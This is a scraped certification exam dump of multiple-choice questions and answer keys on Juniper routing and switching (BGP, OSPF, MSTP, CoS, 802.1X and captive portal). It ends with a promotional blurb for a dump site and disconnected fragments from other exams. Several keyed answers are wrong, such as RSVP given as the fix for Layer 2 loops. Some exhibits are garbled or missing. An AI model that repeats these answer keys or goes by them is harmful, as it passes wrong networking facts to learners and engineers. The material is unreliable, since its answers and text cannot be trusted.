In the exhibit, the 10.100/16 prefix is introduced at autonomous system 1 (AS1) and propagated through to AS3. Router A in AS3 receives two different paths to
these prefixes, one through AS2 and the other through AS4. No BGP attributes have been altered.Which path would router A prefer for the 10.100/16 prefix?
A. the route with the lowest interface address for the EBGP peering session
B. the route with the lowest local preference
C. the route to the EBGP peer that has the lowest RID
D. the route from the EBGP peer that arrived first
Correct Answer: D
QUESTION 29
— Exhibit —
[edit] [email protected]# show routing-options router-id
router-id 1.1.1.1;
[edit] [email protected]# show protocols ospf
area 0.0.0.0 {
interface ge-0/0/7.0;
}
[edit] [email protected]# show routing-options router-id
router-id 2.2.2.2;
[edit] [email protected]# show protocols ospf
area 0.0.0.0 {
interface ge-0/0/8.0 {
priority 200;
}
}
[edit] [email protected]# show routing-options router-id
router-id 222.255.255.255;
[edit] [email protected]# show protocols ospf
area 0.0.0.0 {
interface ge-0/0/8.0;
}
[edit] [email protected]# show routing-options router-id
router-id 239.255.255.255;
[edit] [email protected]# show protocols ospf
area 0.0.0.0 {
interface ge-0/0/6.0 {
priority 0;
}
}
— Exhibit —
Click the Exhibit button.
All four routers in the exhibit are in the same broadcast domain. The routers were powered on at the same time.
Based on the configurations, which devices are the DR and the BDR
A. R4 is the DR and R2 is the BDR.
B. R2 is the DR and R3 is the BDR.
C. R2 is the DR and R1 is the BDR.
D. R3 is the DR and R2 is the BDR.
Correct Answer: B
QUESTION 30
— Exhibit — [email protected]> show interfaces ge-0/0/0 extensive | find “Queue counters” Queue counters: Queued packets Transmitted packets Dropped packets 0 best-effort
35244 35244 0 1 expedited-fo 258963 59852 199111
2 assured-forw 0 0 0
3 network-cont 1625847 1625847 0
…
— Exhibit —
Click the Exhibit button.
You recently deployed an SRX Series Gateway in your network. It uses the default class of service configuration.
Based on the output in the exhibit, what reason explains the packet drops in Queue 1?
A. Interface ge-0/0/0 should be used only for management network operations.
B. Queue 0 has higher priority than Queue 1.
C. A policer is reclassifying all traffic into Queue 1.
D. No bandwidth reservation exists on Queue 1.
Correct Answer: D
QUESTION 31
— Exhibit —
ar 16 19:12:58.291474 BGP RECV 172.14.10.2+51230 -> 172.14.10.1+179 Mar 16 19:12:58.291624 BGP RECV message type 1 (Open) length 59 Mar 16
19:12:58.291688 BGP RECV version 4 as 2 holdtime 90 id 192.168.2.1 parmlen 30 Mar 16 19:12:58.291752 BGP RECV MP capability AFI=1, SAFI=1 Mar 16
19:12:58.291802 BGP RECV Refresh capability, code=128 Mar 16 19:12:58.291850 BGP RECV Refresh capability, code=2 Mar 16 19:12:58.291915 BGP RECV
Restart capability, code=64, time=120, flags= Mar 16 19:12:58.291969 BGP RECV 4 Byte AS-Path capability (65), as_num 2 Mar 16 19:12:58.292385 advertising
receiving-speaker only capabilty to neighbor 172.14.10.2 (External AS 2) Mar 16 19:12:58.292452 bgp_senD. sending 59 bytes to 172.14.10.2 (External AS 2)
Mar 16
19:12:58.292522
Mar 16 19:12:58.292522 BGP SEND 172.14.10.1+179 -> 172.14.10.2+51230 Mar 16 19:12:58.292601 BGP SEND message type 1 (Open) length 59 Mar 16
19:12:58.293053 BGP SEND version 4 as 1 holdtime 90 id 192.168.2.1 parmlen 30 Mar 16 19:12:58.293124 BGP SEND MP capability AFI=1, SAFI=1 Mar 16
19:12:58.293173 BGP SEND Refresh capability, code=128 Mar 16 19:12:58.293221 BGP SEND Refresh capability, code=2 Mar 16 19:12:58.293284 BGP SEND
Restart capability, code=64, time=120, flags= Mar 16 19:12:58.293336 BGP SEND 4 Byte AS-Path capability (65), as_num 1 Mar 16
19:12:58.293517 bgp_senD. sending 19 bytes to 172.14.10.2 (External AS 2) Mar 16 19:12:58.293573 Mar 16 19:12:58.293573 BGP SEND 172.14.10.1+179 ->
172.14.10.2+51230 Mar 16 19:12:58.293665 BGP SEND message type 4 (KeepAlive) length 19 Mar 16 19:12:58.296781 Mar 16 19:12:58.296781 BGP RECV
172.14.10.2+51230 -> 172.14.10.1+179 Mar 16 19:12:58.296897 BGP RECV message type 4 (KeepAlive) length 19 Mar 16 19:12:58.297451 bgp_senD. sending
19 bytes to 172.14.10.2 (External AS 2) Mar 16 19:12:58.297528
Mar 16 19:12:58.297528 BGP SEND 172.14.10.1+179 -> 172.14.10.2+51230 Mar 16 19:12:58.297600 BGP SEND message type 4 (KeepAlive) length 19 Mar 16
19:12:58.298102 bgp_senD. sending 23 bytes to 172.14.10.2 (External AS 2) Mar 16 19:12:58.298185
Mar 16 19:12:58.298185 BGP SEND 172.14.10.1+179 -> 172.14.10.2+51230 Mar 16 19:12:58.298273 BGP SEND message type 2 (Update) length 23 Mar 16
19:12:58.298322 BGP SEND End of RIB. AFI 1 SAFI 1 Mar 16 19:12:58.301834
Mar 16 19:12:58.301834 BGP RECV 172.14.10.2+51230 -> 172.14.10.1+179 Mar 16 19:12:58.301957 BGP RECV message type 4 (KeepAlive) length 19 Mar 16
19:12:58.302034 bgp_read_v4_messagE. done with 172.14.10.2 (External AS 2) received 19 octets 0 updates 0 routes Mar 16 19:12:58.304594
Mar 16 19:12:58.304594 BGP RECV 172.14.10.2+51230 -> 172.14.10.1+179 Mar 16 19:12:58.304702 BGP RECV message type 2 (Update) length 23 Mar 16
19:12:58.304765 BGP RECV End of RIB. AFI 1 SAFI 1 Mar 16 19:12:58.304848 bgp_read_v4_messagE. done with 172.14.10.2 (External AS 2) received 23
octets 1 update 0 routes
Mar 16 19:13:22.968415 bgp_senD. sending 19 bytes to 172.14.10.2 (External AS 2) Mar 16
19:13:22.968586
Mar 16 19:13:22.968586 BGP SEND 172.14.10.1+179 -> 172.14.10.2+51230 Mar 16 19:13:22.968675 BGP SEND message type 4 (KeepAlive) length 19 Mar 16
19:13:26.901339 Mar 16 19:13:26.901339 BGP RECV 172.14.10.2+51230 -> 172.14.10.1+179 Mar 16 19:13:26.901464 BGP RECV message type 4 (KeepAlive)
length 19 Mar 16 19:13:26.901543 bgp_read_v4_messagE. done with 172.14.10.2 (External AS 2) received 19 octets 0 updates 0 routes Mar 16 19:13:51.335927
bgp_senD. sending 19 bytes to 172.14.10.2 (External AS 2) Mar 16
19:13:51.348180
Mar 16 19:13:51.348180 BGP SEND 172.14.10.1+179 -> 172.14.10.2+51230 Mar 16 19:13:51.348296 BGP SEND message type 4 (KeepAlive) length 19 Mar 16
19:13:53.844160 Mar 16 19:13:53.844160 BGP RECV 172.14.10.2+51230 -> 172.14.10.1+179 Mar 16 19:13:53.844329 BGP RECV message type 4 (KeepAlive)
length 19 Mar 16 19:13:53.844392 bgp_read_v4_messagE. done with 172.14.10.2 (External AS 2) received 19 octets 0 updates 0 routes — Exhibit —
Click the Exhibit button.
Looking at the traceoptions output, what is the current keepalive timer set for in BGP?
A. 1 second
B. 10 seconds
C. 30 seconds
D. 90 seconds
Correct Answer: C
QUESTION 32
— Exhibit
— Exhibit —
Click the Exhibit button.
As shown in the exhibit, a legacy IP phone is attached to Switch-1. The phone does not support LLDP- MED, but does allow configuration using DHCP. Existing
network CoS policies dictate that VoIP traffic must use VLAN 10.
Which two actions put VoIP traffic onto VLAN 10? (Choose two.)
A. Configure protocols cdp on Switch-1.
B. Manually configure the voice VLAN on the IP phone.
C. Configure vlan 1 under forwarding-options bootp.
D. Configure interface ge-0/0/5 under forwarding-options bootp.
Correct Answer: BD
QUESTION 33
— Exhibit — [email protected]# show protocols mstp
configuration-name region1;
bridge-priority 16k;
msti 1 {
bridge-priority 16k;
vlan [10 20];
}
msti 2 {
bridge-priority 8k;
vlan [30 40];
}[email protected]# show protocols mstp
configuration-name region1;
bridge-priority 8k;
msti 1 {
bridge-priority 16k;
vlan [10 20];
}
msti 2 {
bridge-priority 8k;
vlan [30 40];
} [email protected]>monitor traffic interface xe-0/0/0 no-resolve extensive
10:36:00.594220 Out STP 802.1s, Rapid STP, CIST Flags [Forward, Agreement], CIST bridge-id 4000.5c:5e:ab:72:da:41.8215, length 118
message-age 0.00s, max-age 20.00s, hello-time 2.00s, forwarding-delay 15.00s CIST root-id 4000.5c:5e:ab:72:da:41, ext-pathcost 0 int-pathcost 0, port-role
Designated CIST regional-root-id 4000.5c:5e:ab:72:da:41
MSTP Configuration Name regio-2, revision 0, digest ca136a235706b316c8db8f921067a68f CIST remaining-hops 20
MSTI 1, Flags [Proposal, Forward, Agreement], port-role Designated MSTI regional-root-id 4001.5c:5e:ab:72:da:41, pathcost 0 MSTI bridge-prio 4, port-prio 8,
hops 2010:36:00.594220
10:36:00.594223 Out 802.1s, Rapid STP, CIST Flags [Forward, Agreement], CIST bridge-id 4000.5c:5e:ab:72:da:41.8215, length 118
message-age 0.00s, max-age 20.00s, hello-time 2.00s, forwarding-delay 15.00s CIST root-id 4000.5c:5e:ab:72:da:41, ext-pathcost 0 int-pathcost 0, port-role
Designated CIST regional-root-id 4000.5c:5e:ab:72:da:41
MSTP Configuration Name regio-2, revision 0, digest ca136a235706b316c8db8f921067a68f CIST remaining-hops 20
MSTI 1, Flags [Proposal, Forward, Agreement], port-role Designated MSTI regional-root-id 4001.5c:5e:ab:72:da:41, pathcost 0 MSTI bridge-prio 4, port-prio 8,
hops 20 — Exhibit —
Click the Exhibit button.
Referring to the exhibit, a customer notices that MSTP is not converging on MSTI 2. To troubleshoot the problem, the customer captured traffic on the link (xe-
0/0/0) of SwitchA connecting to SwitchB.
Which two situations would cause the problem? (Choose two.)
A. MSTI 1 and MSTI 2 are part of the same MSTP region.
B. The bridge priority value of the MSTI 2 is the same on SwitchA and SwitchB.
C. VLAN 30 and VLAN 40 are not configured on SwitchA.
D. VLAN 30 and VLAN 40 are not members of trunk link xe-0/0/0 on SwitchA.
Correct Answer: CD
QUESTION 34
You are asked to implement a captive portal on your EX Series switches.
What are three required steps? (Choose three.)
A. You must create the captive portal login page.
B. You must ensure the Web service is turned on.
C. You must specify the interfaces participating in the captive portal.
D. You must create and apply an authentication profile.
E. You must create an authentication whitelist.
Correct Answer: BCD
QUESTION 35
— Exhibit —
Controller Maximum Power Guard Management Status Lldp index power consumption band Priority 0 792.00W 603.50W 0W Class AT_MODE Disabled
— Exhibit —
Click the Exhibit button.
Referring to the exhibit, which statement is true?
A. The switch supports PoE+.
B. The switch is protected against spikes in power demand.
C. The switch supports a maximum power draw per PoE port of 15.4 watts.
D. The switch can manually assign priorities per interface.
Correct Answer: A
QUESTION 36
You are configuring port ge-0/0/0 on an EX Series switch connected to an IP phone that does not support LLDP-MED.
Which three configuration statements do you need to accomplish this task? (Choose three.)
A. set interfaces ge-0/0/0 unit 0 family ethernet-switching native-vlan-id voice-vlan
B. set interfaces ge-0/0/0 unit 0 family ethernet-switching vlan members voice-vlan
C. set interfaces ge-0/0/0 unit 0 family ethernet-switching vlan members data-vlan
D. set interfaces ge-0/0/0 unit 0 family ethernet-switching native-vlan-id data-vlan
E. set interfaces ge-0/0/0 unit 0 family ethernet-switching port-mode trunk
Correct Answer: BDE
QUESTION 37
You are configuring CoS classifiers and want to use both BA and MF classification. After applying the configuration, you realize that the classifiers have a conflict.
Which statement is true?
A. BA classification overrides MF classification.
B. MF classification overrides BA classification.C. Neither classification method is applied.
D. Both classifications are applied randomly.
Correct Answer: B
QUESTION 38
On your EX Series switch you must configure a delay buffer for the best effort queue scheduler named BE- sch which restricts the buffer usage to only 25 percent
of the available buffer size.
Which configuration statement will accomplish this task?
A. [edit class-of-service schedulers BE-sch] [email protected]# set buffer-size buffer-size temporal 25
B. [edit class-of-service schedulers BE-sch] [email protected]# set buffer-size buffer-size temporal 25 exact
C. [edit class-of-service schedulers BE-sch] [email protected]# set buffer-size percent 25
D. [edit class-of-service schedulers BE-sch] [email protected]# set buffer-size exact percent 25
Correct Answer: D
QUESTION 39
A user complains about connectivity problems from their IP address (10.1.1.87) to a server (10.65.1.100).
Which Junos command can help verify connectivity in the network? (Choose Two)
A. mroute
B. traceoptions
C. ping
D. clear bgp neighbor
Correct Answer: BC
QUESTION 40
Port authentication falls back to Captive Portal.
In which two scenarios would the port authentication move back to 802.1X? (Choose two.)
A. if any MAC RADIUS request packet is received on the interface and if there are no sessions in authenticated/authenticating state
B. if Captive Portal is deactivated on the interface
C. if the user gets logged out
D. if the EAP packet is received on the interface and if there are no sessions in authenticated/ authenticating state
Correct Answer: BD
QUESTION 41
A network routes IPv4 traffic only. You want to add IPv6 to the network, but you must use a single IGP for both IPv4 and IPv6 traffic.
Which protocol meets this requirement?
A. OSPFv2
B. BGPv4
C. ES-ISv1
D. OSPFv3
Correct Answer: D
QUESTION 42
A Layer 2 forwarding loop occurred on your network during a scheduled maintenance period.
You must prevent this behavior in the future.
Which protocol should you enable on the EX Series switch to address this condition in the future?
A. DVMRP
B. L2TPv3
C. STP
D. RSVP
Correct Answer: D
QUESTION 43
You have implemented 802.1X authentication in your Layer 2 network and you have only a single RADIUS server. You are asked to ensure that if the RADIUS
server becomes unreachable or fails, users connected to the ge-0/0/0 port are still able to reach the Internet using a predefined guest VLAN.
Which command allows this access?
A. [edit] [email protected]# set protocols dot1x authenticator interface ge-0/0/0.0 radius-fail vlan guest
B. [edit] [email protected]# set protocols dot1x authenticator interface ge-0/0/0.0 server-fail vlan-name guest
C. [edit] [email protected]# set protocols dot1x authenticator interface ge-0/0/0.0 auth-fail assign-vlan guest
D. [edit] [email protected]# set protocols dot1x authenticator interface ge-0/0/0.0 radius-fail assign guest
Correct Answer: B
QUESTION 44
Which option is a valid IPv6 multicast address?
A. fe80::205:8640:471:3200/64
B. ::172.16.0.5/126
C. ff03:365:ba::23
D. ff01:cgfc:345::226:8ff:fee4:bf6f
Correct Answer: C
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jn0-643 PDF dumps & jn0-643 VCE dumps: https://www.pass4itsure.com/jn0-643.html (221 Q&As)
(We have carefully complied realistic exam questions and answers, which are updated frequently, and reviewed by
industry experts. Our experts from multiple organizations are talented and qualified individuals who have reviewed
each question and answer explanation section in order to help you understand the concept and pass the certification exam.
The best way to prepare for an exam is not reading a text book, but taking practice questions and understanding the correct answers.)
A penetration tester is performing an assessment when the network administrator shows the tester a packet sample that
A. traffic map
A. Acknowledge the fault. which immediately clears it from the system
If the given network is in the process of being migrated from EIGRP to OSPF , includes
